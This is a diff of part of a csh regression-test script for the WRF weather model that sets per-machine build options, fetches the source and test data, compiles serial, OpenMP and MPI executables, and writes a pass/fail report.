+	echo "Compiler version info: " >! version_info
+	echo "FORTRAN:        " `lslpp -l | grep xlfrte | head -1 | awk '{print $1 "   " $2}'` >>! version_info
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	echo "AIX:            " `lslpp -l | grep bos.mp | head -1 | awk '{print $1 "   " $2}'` >>! version_info
+	echo " " >>! version_info
+	setenv MP_SHARED_MEMORY yes
+else if ( $ARCH[1] == Darwin ) then
+	if      ( ( `hostname` == stink )               && ( -d /stink/gill/Regression_Tests ) ) then
+		set DEF_DIR	= /stink/gill/Regression_Tests/wrf_regression
+		mkdir $DEF_DIR
+	else 
+		echo "We at least need a directory from which to do stuff"
+		exit ( 2 ) 
+	endif
+	set TMPDIR              = .
+	set MAIL		= /usr/bin/mailx
+	if      ( $LINUX_COMP == PGI ) then
+		set COMPOPTS	= (  1 2  3 )
+		set ZAP_OPENMP	= FALSE
+	else if ( $LINUX_COMP == G95 ) then
+		set COMPOPTS	= ( 13 0 14 )
+		set ZAP_OPENMP	= TRUE
+	endif
+	set COMPOPTS_NO_NEST = 0
+	set COMPOPTS_NEST_STATIC = 1
+	set COMPOPTS_NEST_PRESCRIBED = 2
+	set Num_Procs		= 4
+	set OPENMP 		= 2
+	cat >! `pwd`/machfile << EOF
+`hostname`
+`hostname`
+`hostname`
+`hostname`
+EOF
+        set Mach = `pwd`/machfile
+	set SERIALRUNCOMMAND	= 
+	set OMPRUNCOMMAND	= 
+	echo "Compiler version info: " >! version_info
+	if      ( $LINUX_COMP == PGI ) then
+		set MPIRUNCOMMAND 	= ( /usr/local/mpich2-1.0.6p1-pgi/bin/mpirun -np $Num_Procs )
+		pgf90 -V | head -2 | tail -1 >>&! version_info
+	else if ( $LINUX_COMP == G95 ) then
+		set MPIRUNCOMMAND 	= ( /stink/gill/local/bin/mpirun -np $Num_Procs )
+		g95 -v |& grep gcc >>&! version_info
+	endif
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+	ps -A | grep mpd | grep -v grep >& /dev/null
+	set ok = $status
+	if ( $ok != 0 ) then
+		echo starting an mpd process
+		mpd &
+	endif
+else if ( $ARCH[1] == OSF1 && $clrm == 1 ) then
+	set DEF_DIR		= /`hostname | cut -d. -f1`/$user
+	set TMPDIR		= /mmmtmp/$user
+	set MAIL		= /usr/bin/mailx
+	if      ( ( $NESTED == TRUE ) && ( $RSL_LITE != TRUE ) ) then
+		set COMPOPTS	= ( 2 4 6 )
+	else if ( ( $NESTED != TRUE ) && ( $RSL_LITE != TRUE ) ) then
+		set COMPOPTS    = ( 1 3 6 )
+	else if ( ( $NESTED == TRUE ) && ( $RSL_LITE == TRUE ) ) then
+		set COMPOPTS	= ( 2 4 5 )
+	else if ( ( $NESTED != TRUE ) && ( $RSL_LITE == TRUE ) ) then
+		set COMPOPTS	= ( 1 3 5 )
+	endif
+	set Num_Procs		= 4
+	set OPENMP 		= 0
+	set ZAP_OPENMP		= TRUE
+	cat >! $TMPDIR/machfile << EOF
+service03
+service04
+service05
+service06
+EOF
+        set Mach = $TMPDIR/machfile
+	set MPIRUNCOMMAND 	= ( mpirun -np $Num_Procs -machinefile $Mach )
+	echo "Compiler version info: " >! version_info
+	f90 -version >>&! version_info
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else if ( ( $ARCH[1] == Linux ) && ( `hostname` == bay-mmm ) ) then
+	set DEF_DIR	= /data3/mp/${user}/`hostname`
+	if ( ! -d $DEF_DIR ) mkdir $DEF_DIR
+	set TMPDIR		= .
+	set MAIL		= /bin/mail
+	if      ( $LINUX_COMP == PGI ) then
+		if      ( ( $NESTED == TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS	= ( 2 4 5 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS    = ( 1 3 5 )
+		else if ( ( $NESTED == TRUE ) && ( $RSL_LITE == TRUE ) ) then
+			set COMPOPTS	= ( 2 4 6 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE == TRUE ) ) then
+			set COMPOPTS	= ( 1 3 6 )
+		endif
+	else if ( $LINUX_COMP == INTEL ) then
+		if        ( $NESTED == TRUE )                            then
+			set COMPOPTS	= ( 8 10 11 )
+		else if   ( $NESTED != TRUE )                            then
+			set COMPOPTS	= ( 7  9 11 )
+		endif
+	endif
+	set Num_Procs		= 2
+	set OPENMP		= $Num_Procs
+	cat >! machfile << EOF
+`hostname`
+`hostname`
+`hostname`
+`hostname`
+EOF
+	set Mach		= `pwd`/machfile
+	if ( $CHEM == TRUE ) then
+		set ZAP_OPENMP		= TRUE
+	else if ( $CHEM == FALSE ) then
+		set ZAP_OPENMP		= FALSE
+	endif
+	if ( $LINUX_COMP == INTEL ) then
+		set ZAP_OPENMP		= TRUE
+	endif
+	set MPIRUNCOMMAND       = ( mpirun -np $Num_Procs -machinefile $Mach )
+	echo "Compiler version info: " >! version_info
+	if      ( $LINUX_COMP == PGI ) then
+		pgf90 -V >>&! version_info
+	else if ( $LINUX_COMP == INTEL ) then
+		ifort -v >>&! version_info
+	endif
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else if ( ( $ARCH[1] == Linux ) && ( `hostname | cut -c 1-2` ==  ln ) ) then
+	set DEF_DIR	= /ptmp/${user}/wrf_regtest
+	if ( ! -d $DEF_DIR ) mkdir $DEF_DIR
+	set TMPDIR		= .
+	set MAIL		= /bin/mail
+	if      ( $LINUX_COMP == PGI ) then
+		if      ( ( $NESTED == TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS    = ( 4 2 3 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS    = ( 1 2 3 )
+		endif
+	endif
+	set Num_Procs		= 4
+	set OPENMP		= 2
+	cat >! machfile << EOF
+`hostname`
+`hostname`
+`hostname`
+`hostname`
+EOF
+	set Mach		= `pwd`/machfile
+	set ZAP_OPENMP		= TRUE
+	set MPIRUNCOMMAND       =  mpirun.lsf
+	echo "Compiler version info: " >! version_info
+	if      ( $LINUX_COMP == PGI ) then
+		pgf90 -V >>&! version_info
+	else if ( $LINUX_COMP == INTEL ) then
+		ifort -v >>&! version_info
+	endif
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else if ( ( $ARCH[1] == Linux ) && ( `hostname` == loquat ) ) then
+	set job_id              = $$
+	set DEF_DIR             = /loquat2/$user/wrf_regression.${job_id}
+	set TMPDIR              = $DEF_DIR
+	if ( -d $DEF_DIR ) then
+		echo "${0}: ERROR::  Directory ${DEF_DIR} exists, please remove it"
+		exit ( 1 ) 
+	else
+		mkdir -p $DEF_DIR
+		echo "See directory ${DEF_DIR}/ for wrftest.output and other test results"
+	endif
+	set MAIL		= /bin/mail
+	if      ( $LINUX_COMP == PGI ) then
+		if      ( ( $NESTED == TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS	= ( 2 4 5 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS    = ( 1 3 5 )
+		else if ( ( $NESTED == TRUE ) && ( $RSL_LITE == TRUE ) ) then
+			set COMPOPTS	= ( 2 4 6 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE == TRUE ) ) then
+			set COMPOPTS	= ( 1 3 6 )
+		endif
+	else if ( $LINUX_COMP == INTEL ) then
+		if        ( $NESTED == TRUE )                            then
+			set COMPOPTS	= ( 8 10 11 )
+		else if   ( $NESTED != TRUE )                            then
+			set COMPOPTS	= ( 7  9 11 )
+		endif
+	endif
+	set Num_Procs		= 2
+	set OPENMP		= $Num_Procs
+	cat >! machfile << EOF
+`hostname`
+`hostname`
+`hostname`
+`hostname`
+EOF
+	set Mach		= `pwd`/machfile
+	if ( $CHEM == TRUE ) then
+		set ZAP_OPENMP		= TRUE
+	else if ( $CHEM == FALSE ) then
+		set ZAP_OPENMP		= FALSE
+	endif
+	if ( $LINUX_COMP == INTEL ) then
+		set ZAP_OPENMP		= TRUE
+	endif
+	set MPIRUNCOMMAND       = ( mpirun -np $Num_Procs -machinefile $Mach )
+	echo "Compiler version info: " >! version_info
+	if      ( $LINUX_COMP == PGI ) then
+		pgf90 -V >>&! version_info
+	else if ( $LINUX_COMP == INTEL ) then
+		ifort -v >>&! version_info
+	endif
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else if ( `hostname` == tempest ) then
+	set DEF_DIR	= /ptmp/${user}/wrf_regtest.${QSUB_REQID}
+	if ( ! -d $DEF_DIR ) mkdir $DEF_DIR
+	set TMPDIR		= .
+	set MAIL		= /usr/sbin/Mail
+	set COMPOPTS		= ( 1 2 3 )
+	set Num_Procs		= 2
+	set OPENMP		= $Num_Procs
+	set Mach		= `pwd`/machfile
+	set ZAP_OPENMP		= TRUE
+	set MPIRUNCOMMAND       = ( mpirun -np $Num_Procs )
+	echo "Compiler version info: " >! version_info
+	f90 -version >>&! version_info
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else if ( ( $ARCH[1] == Linux ) && ( `hostname` == master ) ) then
+	set DEF_DIR		= /big6/gill/DO_NOT_REMOVE_DIR
+	set TMPDIR		= .
+	set MAIL		= /bin/mail
+	if      ( $LINUX_COMP == PGI ) then
+		if        ( $NESTED == TRUE )                            then
+			set COMPOPTS	= ( 2 4 5 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE == TRUE ) ) then
+			set COMPOPTS	= ( 1 3 6 )
+		else if ( ( $NESTED != TRUE ) && ( $RSL_LITE != TRUE ) ) then
+			set COMPOPTS	= ( 1 3 5 )
+		endif
+	else if ( $LINUX_COMP == INTEL ) then
+		if        ( $NESTED == TRUE )                            then
+			set COMPOPTS	= ( 8 10 11 )
+		else if   ( $NESTED != TRUE )                            then
+			set COMPOPTS	= ( 7  9 11 )
+		endif
+	endif
+	set Num_Procs		= 4
+	set OPENMP		= 2
+	cat >! machfile << EOF
+node3
+node3
+node4
+node4
+EOF
+	set Mach		= `pwd`/machfile
+	if ( $CHEM == TRUE ) then
+		set ZAP_OPENMP		= TRUE
+	else if ( $CHEM == FALSE ) then
+		set ZAP_OPENMP		= FALSE
+	endif
+	if ( $LINUX_COMP == INTEL ) then
+		set ZAP_OPENMP		= TRUE
+	endif
+	set MPIRUNCOMMAND       = ( mpirun -v -np $Num_Procs -machinefile $Mach -nolocal )
+	set MPIRUNCOMMANDPOST   = "< /dev/null"
+	echo "Compiler version info: " >! version_info
+	if      ( $LINUX_COMP == PGI ) then
+		pgf90 -V >>&! version_info
+	else if ( $LINUX_COMP == INTEL ) then
+		ifort -v >>&! version_info
+	endif
+	echo " " >>! version_info
+	echo "OS version info: " >>! version_info
+	uname -a >>&! version_info
+	echo " " >>! version_info
+else
+	echo "Unrecognized architecture for regression test"  >! error_message
+	echo `uname`                                          >> error_message
+	echo `hostname`                                       >> error_message
+	$MAIL -s "Unknown architecture $ARCH[1] " $FAIL_MAIL   < error_message
+	exit ( 1 )
+endif
+
+#####################################################################
+#DAVE###################################################
+echo did the arch specific stuff
+banner 3
+#set ans = "$<"
+#DAVE###################################################
+
+if ( $FDDA == TRUE ) then
+	if      ( ( $PHYSOPTS_FDDA == GRID ) && ( $ZAP_OPENMP == FALSE ) ) then
+		set ZAP_OPENMP = FALSE
+	else if ( $PHYSOPTS_FDDA == BOTH ) then
+		set ZAP_OPENMP = TRUE
+	endif
+endif
+
+#	First of all, in which particular directory do we start.
+
+cd $DEF_DIR
+
+#	We want to keep the old regression stuff around
+
+if ( -d regression_test ) then
+	if ( -d regression_test.old ) then
+		/bin/rm -fr regression_test.old
+	endif
+	/bin/mv regression_test regression_test.old
+endif
+
+#	Go to the regression test directory
+
+mkdir regression_test
+set ok = $status
+if ( $ok != 0 ) then
+	echo "Gee, I cannot make a directory in $DEF_DIR"  >! error_message
+	echo `pwd`                                         >> error_message
+	echo `\ls -ls`                                     >> error_message
+	$MAIL -s "$DEF_DIR not writable $ARCH[1] " $FAIL_MAIL < error_message
+	exit ( 1 )
+else
+	pushd regression_test
+endif
+
+if      ( $acquire_from == "cvs" ) then
+
+	#	Checkout the most recent version of WRF from the NCAR cvs repository,
+	#	and pick up the required input data from the anonymous ftp site.
+
+	cvs checkout -D $thedate WRFV3
+	find ./WRFV3 -exec touch \{\} \;
+	ftp -n ftp.ucar.edu < ftp_script_data
+
+
+else if ( $acquire_from == "filearg" ) then
+
+	#	A tar file of the WRF source was provided, so that is used, along with 
+	#	the required input data files from the ftp site.
+
+	tar xvf $thefile
+	cd WRFV3
+	clean -a
+	cd ..
+	ftp -n ftp.ucar.edu < ftp_script_data
+
+else if ( $acquire_from == "environment" ) then
+
+	#	A tar file of WRF is assumed to be available.
+
+	tar xvf $thefile
+
+endif
+
+#	And we can stick the input data where we want, the WRFV3 directory has been created.
+
+( cd WRFV3/test/em_real  ; ln -sf $thedataem/* . ) 
+#( cd WRFV3/test/nmm_real ; ln -s $thedatanmm/wrf_real* . ; cp $thedatanmm/namelist.input.regtest . )
+ ( cd WRFV3/test/nmm_real ; ln -s $thedatanmm/wrf_real* . ;  ln -s $thedatanmm/wrf_nest* . ; ln -s $thedatanmm/geo_* .; \
+   cp  $thedatanmm/namelist.nest.regtest . ;  ln -s $thedatanmm/met_nmm* . ; \
+  sed '/dyn_opt/d' $thedatanmm/namelist.input.regtest >! ./namelist.input.regtest )
+
+##LPC( cd WRFV3/test/nmm_real ; ln -s $thedatanmm/wrf_real* . ; \
+##LPC  sed '/dyn_opt/d' $thedatanmm/namelist.input.regtest >! ./namelist.input.regtest )
+#DAVE###################################################
+( cd WRFV3/test/em_real ; ls -ls )
+( cd WRFV3/test/nmm_real ; ls -ls )
+banner 4
+#set ans = "$<"
+#DAVE###################################################
+
+#	John-specific stuff for maple is the else; part of the "using service machines".
+
+if ( ! $clrm ) then
+	pushd WRFV3
+else
+	if ( ! -d $TMPDIR ) then
+		echo something wrong 1
+	endif
+	if ( ! -d $TMPDIR/RUN ) then
+		mkdir $TMPDIR/RUN
+		/bin/rm -fr $TMPDIR/RUN/*
+	endif
+	if ( -d $TMPDIR/RUN ) then
+		tar cf - ./WRFV3/test ./WRFV3/main | ( cd $TMPDIR/RUN ; tar xvf - )
+		pushd WRFV3
+	else
+		echo something wrong 2
+		exit
+	endif
+endif
+
+#	Here we initialize our output message.
+
+if ( -e ${DEF_DIR}/wrftest.output ) rm ${DEF_DIR}/wrftest.output
+echo "Architecture $ARCH[1]      machine: `hostname`" >>! ${DEF_DIR}/wrftest.output
+echo "WRFV3 source from: $acquire_from " >>! ${DEF_DIR}/wrftest.output
+echo "Number of OpenMP processes to use: $OPENMP" >>! ${DEF_DIR}/wrftest.output
+echo "Number of MPI    processes to use: $Num_Procs" >>! ${DEF_DIR}/wrftest.output
+if ( $ARCH[1] == Darwin ) then
+	set name = `finger $user | grep "Name:" | awk '{print $4 " " $5}'`
+else
+	set name = ( `grep ^${user}: /etc/passwd | cut -d: -f5` ) 
+endif
+echo "Test conducted by $name" >>! ${DEF_DIR}/wrftest.output
+echo " " >>! ${DEF_DIR}/wrftest.output
+echo "Test run from directory ${CUR_DIR}" >>! ${DEF_DIR}/wrftest.output
+echo " " >>! ${DEF_DIR}/wrftest.output
+if ( $?LOADL_JOB_NAME ) then
+	echo "Loadlever job name = ${LOADL_JOB_NAME}" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+echo "Real data case for EM is from $dataset " >>! ${DEF_DIR}/wrftest.output
+echo " " >>! ${DEF_DIR}/wrftest.output
+echo "The em real and ideal forecasts will be nested: $NESTED " >>! ${DEF_DIR}/wrftest.output
+echo " " >>! ${DEF_DIR}/wrftest.output
+if ( $REG_TYPE == BIT4BIT ) then
+	echo "This is a bit-wise (traditional) regression test. " >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+else if ( $REG_TYPE == OPTIMIZED ) then
+	echo "This is a fully optimized regression test. " >>! ${DEF_DIR}/wrftest.output
+	echo "No inter-comparisons are made. " >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $REAL8 == TRUE ) then
+	echo "Floating point precision is 8-bytes" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if      ( ( $CHEM == TRUE ) && ( $KPP != TRUE ) ) then
+	echo "WRF_CHEM tests run for em_real core only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+else if ( ( $CHEM == TRUE ) && ( $KPP == TRUE ) ) then
+	echo "WRF_CHEM KPP tests run for em_real core only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $ADAPTIVE == TRUE ) then
+	echo "Adaptive time step for em_real core only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $GLOBAL == TRUE ) then
+	echo "Global tests run for em_real core only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $ESMF_LIB == TRUE ) then
+	echo "A separately installed version of the latest ESMF library" >>! ${DEF_DIR}/wrftest.output
+	echo "(NOT the ESMF library included in the WRF tarfile) will" >>! ${DEF_DIR}/wrftest.output
+	echo "be used for MPI tests" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $QUILT == TRUE ) then
+	echo "One WRF output quilt server will be used for some tests" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $FDDA == TRUE ) then
+	if      ( $PHYSOPTS_FDDA == GRID ) then
+		echo "Running FDDA tests (grid nudging only)" >>! ${DEF_DIR}/wrftest.output
+		echo " " >>! ${DEF_DIR}/wrftest.output
+	else if ( $PHYSOPTS_FDDA == BOTH ) then
+		echo "Running FDDA tests (grid=1, obs=2, grid+obs=3)" >>! ${DEF_DIR}/wrftest.output
+		echo " " >>! ${DEF_DIR}/wrftest.output
+	endif
+endif
+if ( $GENERATE_BASELINE != FALSE ) then
+	echo "WRF output will be archived in baseline directory ${GENERATE_BASELINE} for some tests" >>! \
+	     ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+if ( $COMPARE_BASELINE != FALSE ) then
+	echo "WRF output will be compared with files in baseline directory ${COMPARE_BASELINE} for some tests" >>! \
+	     ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+echo "The selected I/O option is $IO_FORM ($IO_FORM_NAME[$IO_FORM])" >>! ${DEF_DIR}/wrftest.output
+if      ( $IO_FORM_WHICH[$IO_FORM] == IO ) then
+	echo "This option is for both input and history files" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+else if ( $IO_FORM_WHICH[$IO_FORM] == I  ) then
+	echo "This option is for input files only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+else if ( $IO_FORM_WHICH[$IO_FORM] ==  O ) then
+	echo "This option is for history files only" >>! ${DEF_DIR}/wrftest.output
+	echo " " >>! ${DEF_DIR}/wrftest.output
+endif
+
+cat ${CUR_DIR}/version_info >>! ${DEF_DIR}/wrftest.output
+
+#	There are three WRF em executables to be considered that can run in threaded and
+#	distributed memory.  The 2d hills and 2d squall lines cannot be parallelized with
+#	MPI, and are therefore not considered in this shell.  The nmm is only run with 
+#	distributed memory (1 vs 4 procs).
+
+set first_time_in = TRUE
+foreach core ( $CORES )
+#DAVE###################################################
+echo doing core $core
+banner 5
+#set ans = "$<"
+#DAVE###################################################
+
+	#	Some sleight of hand is required for the chemistry tests because we need to
+	#	build it twice.  But normally, we only build with different real vs ideal, or em vs nmm.
+	#	What to do, what to do?  Well, we ask for em_real TWICE.  The first time we build without chemistry
+	#	activated, the second time with it activated.  The first time, we do a single
+	#	test, the second time through, we do the other 5 tests.
+
+	if      ( ( $CHEM == TRUE ) && ( ${#CORES} == 2 ) && ( $first_time_in == TRUE ) ) then
+		setenv WRF_CHEM 0
+		set PHYSOPTS =	( 1 )
+		set first_time_in = FALSE
+	else if ( ( $CHEM == TRUE ) && ( $KPP != TRUE ) && ( ${#CORES} == 2 ) && ( $first_time_in != TRUE ) ) then
+		setenv WRF_CHEM 1
+		set PHYSOPTS =	( 2 3 4 5 6 )
+	else if ( ( $CHEM == TRUE ) && ( $KPP == TRUE ) && ( ${#CORES} == 2 ) && ( $first_time_in != TRUE ) ) then
+		setenv WRF_CHEM 1
+		set PHYSOPTS =	( 2 3 )
+	endif
+
+	#	Cores to test.
+
+        set ZAP_SERIAL_FOR_THIS_CORE          = FALSE
+        set ZAP_OPENMP_FOR_THIS_CORE          = FALSE
+	if      ( `echo $core | cut -c 1-2` == em ) then
+		setenv WRF_EM_CORE	1
+		setenv WRF_NMM_CORE	0
+		setenv WRF_COAMPS_CORE	0
+		setenv WRF_EXP_CORE	0
+                set ZAP_SERIAL_FOR_THIS_CORE          = FALSE
+                set ZAP_OPENMP_FOR_THIS_CORE          = FALSE
+        else if ( `echo $core | cut -c 1-3` == nmm ) then
+		setenv WRF_EM_CORE	0
+		setenv WRF_NMM_CORE	1
+		setenv WRF_NMM_NEST	1
+		setenv WRF_COAMPS_CORE	0
+		setenv WRF_EXP_CORE	0
+                set ZAP_SERIAL_FOR_THIS_CORE          = TRUE
+                set ZAP_OPENMP_FOR_THIS_CORE          = TRUE
+	endif
+
+	#	Here we are looping over all of the various compilation configurations,
+	#	such as serial only, OpenMP only, MPI only, etc.  Each architecture
+	#	has its own list of these options.  We build each of the executables for
+	#	this particular ${core}.
+	
+	foreach compopt ( $COMPOPTS )
+#DAVE###################################################
+echo doing compile option $compopt
+banner 6
+#set ans = "$<"
+#DAVE###################################################
+
+		#	We sometimes are interested in bypassing the OpenMP option.
+
+		if ( $compopt == $COMPOPTS[2] ) then
+			if ( $ZAP_OPENMP == TRUE || $ZAP_OPENMP_FOR_THIS_CORE == TRUE ) then
+				goto GOT_THIS_EXEC
+			endif
+		endif
+
+		#	NMM only runs parallel
+		if ( $compopt == $COMPOPTS[1] ) then
+			if ( $ZAP_SERIAL == TRUE || $ZAP_SERIAL_FOR_THIS_CORE == TRUE ) then
+				goto GOT_THIS_EXEC
+			endif
+		endif
+
+		if ( `uname` == AIX ) goto BUILD_REGARDLESS
+	
+		#	Did we already build this one?
+
+		if  ( $core == em_real )  then
+			if      ( ( $compopt == $COMPOPTS[1] ) && \
+                                  ( -e main/wrf_${core}.exe.$compopt ) && \
+                                  ( -e main/real_${core}.exe.1 ) && \
+                                  ( -e ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf ) ) then
+				goto GOT_THIS_EXEC
+			else if ( ( $compopt != $COMPOPTS[1] ) && \
+                                  ( -e main/wrf_${core}.exe.$compopt ) && \
+                                  ( -e ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf ) ) then
+				goto GOT_THIS_EXEC
+			endif
+		else
+			if      ( ( $compopt == $COMPOPTS[1] ) && \
+                                  ( -e main/wrf_${core}.exe.$compopt ) && \
+                                  ( -e main/ideal_${core}.exe.1 ) && \
+                                  ( -e ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf ) ) then
+				goto GOT_THIS_EXEC
+			else if ( ( $compopt != $COMPOPTS[1] ) && \
+                                  ( -e main/wrf_${core}.exe.$compopt ) && \
+                                  ( -e ${DEF_DIR}/regression_test/WRFV3/external/$IO_FORM_NAME[$IO_FORM]/diffwrf ) ) then
+				goto GOT_THIS_EXEC
+			endif
+		endif
+
+		BUILD_REGARDLESS:
+	
+		#	The WRF configuration file works with a single integer
+		#	input, which is the compiler option.  By convention, option $COMPOPTS[1] is
+		#	serial, $COMPOPTS[2] is OMP, and $COMPOPTS[3] is MPI.
+
+		#	Print info about use of separately installed ESMF library.  
+		set esmf_lib_str = " - - - - - - - - - - - - - "
+		if ( $ESMF_LIB == TRUE ) then
+			# only test ESMF with MPI
+			if ( $compopt == $COMPOPTS[3] ) then
+				echo "A separately installed version of the latest ESMF library" >>! ${DEF_DIR}/wrftest.output
+				echo "(NOT the ESMF library included in the WRF tarfile) is" >>! ${DEF_DIR}/wrftest.output
+				echo "being used for this test of $core parallel $compopt..." >>! ${DEF_DIR}/wrftest.output
+				set esmf_lib_str = "using separate ESMF library"
+				echo "Setting ESMFLIB = ${ESMFLIBSAVE}" >>! ${DEF_DIR}/wrftest.output
+				echo "Setting ESMFINC = ${ESMFINCSAVE}" >>! ${DEF_DIR}/wrftest.output
+				setenv ESMFLIB $ESMFLIBSAVE
+				setenv ESMFINC $ESMFINCSAVE
+			else
+				unsetenv ESMFLIB
+				unsetenv ESMFINC
+			endif
+		endif
+	
+#DAVE###################################################
+echo start build mechanism
+banner 7
+#set ans = "$<"
+#DAVE###################################################
+		./clean -a
+
+		#	Edit build command for either bit-wise comparison or full optimization.
+
+		if ( $REG_TYPE == BIT4BIT ) then
+			set DEBUG_FLAG = -d
+		else
+			set DEBUG_FLAG =
+		endif
+
+		#	Edit build command.  If this is a nested run, then either static nest 
+		#	(idealized) or prescribed move (em_real).  If not nested, then shut off
+		#	the nesting build option.
+
+		if ( $NESTED == TRUE ) then
+			if ( $core ==  em_real ) then
+				set compopts_nest = $COMPOPTS_NEST_PRESCRIBED
+			else
+				set compopts_nest = $COMPOPTS_NEST_STATIC
+			endif
+		else
+			set compopts_nest = $COMPOPTS_NO_NEST
+		endif
+			
+		./configure $DEBUG_FLAG << EOF
+$compopt
+$compopts_nest
+EOF
+cp configure.wrf configure.wrf.core=${core}_build=${compopt}
+	
+		#	The configure.wrf file needs to be adjusted as to whether we are requesting real*4 or real*8
+		#	as the default floating precision.
+
+		if ( $REAL8 == TRUE ) then
+			sed -e '/^RWORDSIZE/s/\$(NATIVE_RWORDSIZE)/8/'  configure.wrf > ! foo ; /bin/mv foo configure.wrf
+		endif
+	
+		#	Fix the OpenMP default for IBM regression testing - noopt required for bit-wise comparison.
+
+		if ( ( $compopt == $COMPOPTS[2] ) && ( `uname` == AIX ) ) then
+			sed -e '/^OMP/s/-qsmp=noauto/-qsmp=noauto:noopt/'  configure.wrf > ! foo ; /bin/mv foo configure.wrf
+		endif
+
+		#	Save the configure file.
+
+		cp configure.wrf configure.wrf.core=${core}_build=${compopt}
+
+#DAVE###################################################
+echo configure built with optim mods removed, ready to compile
+banner 8
+#set ans = "$<"
+#DAVE###################################################
+	
+		# The WRF_SRC_ROOT_DIR hack is only used by the OSF1 build.  
+		# It works around the annoying fact that in OSF1 $(PWD) does 
+		# not change during execution of regtest.csh, despite the "cd" 
+		# and "pushd" commands.  
+		setenv WRF_SRC_ROOT_DIR "${DEF_DIR}/regression_test/WRFV3"
+		#	Build this executable
+		
+		./compile $core >&! compile_${core}_build=${compopt}.log
+#DAVE###################################################
+echo compile done
+banner 9
+#set ans = "$<"
+#DAVE###################################################
+	
+		#	Did the compile work?  Check the expected executable names and locations.
+
+		set ok = $status
+                if ( ! -x main/wrf.exe ) set ok = 1
+
+		if      ( ( $core ==  em_real ) && ( $compopt == $COMPOPTS[1] ) ) then
+			if ( ! -e main/real.exe ) set ok = 1
+		else if ( ( $core == nmm_real ) && ( $compopt == $COMPOPTS[3] ) ) then
+			if ( ! -e main/real_nmm.exe ) set ok = 1
+		else if ( $compopt == $COMPOPTS[1] ) then
+			if ( ! -e main/ideal.exe ) set ok = 1
+		endif
+
+                if ( ! -x external/io_netcdf/diffwrf ) set ok = 1
+#	if ( ! -x external/io_int/diffwrf ) set ok = 1
+
+		if ( $ok != 0 ) then
+			echo "SUMMARY compilation    for $core           parallel $compopt $esmf_lib_str FAIL" >>! ${DEF_DIR}/wrftest.output
+			$MAIL -s "REGRESSION FAILURE $ARCH[1] " $FAIL_MAIL < ${DEF_DIR}/wrftest.output
+			exit ( 3 )
+		else
+			echo "SUMMARY compilation    for $core           parallel $compopt $esmf_lib_str PASS" >>! ${DEF_DIR}/wrftest.output
+			echo "-------------------------------------------------------------" >> ${DEF_DIR}/wrftest.output
+			mv main/wrf.exe main/wrf_${core}.exe.$compopt
+			if      ( ( $core ==  em_real ) && ( $compopt == $COMPOPTS[1] ) ) then
+				mv main/real.exe main/real_${core}.exe.1
+			else if ( ( $core == nmm_real ) && ( $compopt == $COMPOPTS[3] ) ) then
+				mv main/real_nmm.exe main/real_${core}.exe.$COMPOPTS[3]
+			else if ( $compopt == $COMPOPTS[1] ) then
+				mv main/ideal.exe main/ideal_${core}.exe.1
+			endif
+#DAVE###################################################
+echo exec exists
+ls -ls main/*.exe*
+banner 10
+#set ans = "$<"
+#DAVE###################################################
+		endif
+
+		GOT_THIS_EXEC:
+
+		if ( $clrm ) then
+			cp main/*exe* $TMPDIR/RUN/WRFV3/main
+		endif
+	
+	end
+
+	if ( $clrm ) then
+		pushd $TMPDIR/RUN/WRFV3
+	endif
+	
+	#	We have all of the executables built, now we run'em.  This is a loop
+	#	over all of the various physics options for this particular
+	#	${core}.  Inside the physics loop, we loop over the parallel options.
+	#	This allows us to use the same WRF input files for each of the parallel
+	#	choices for a single physics loop index.
+
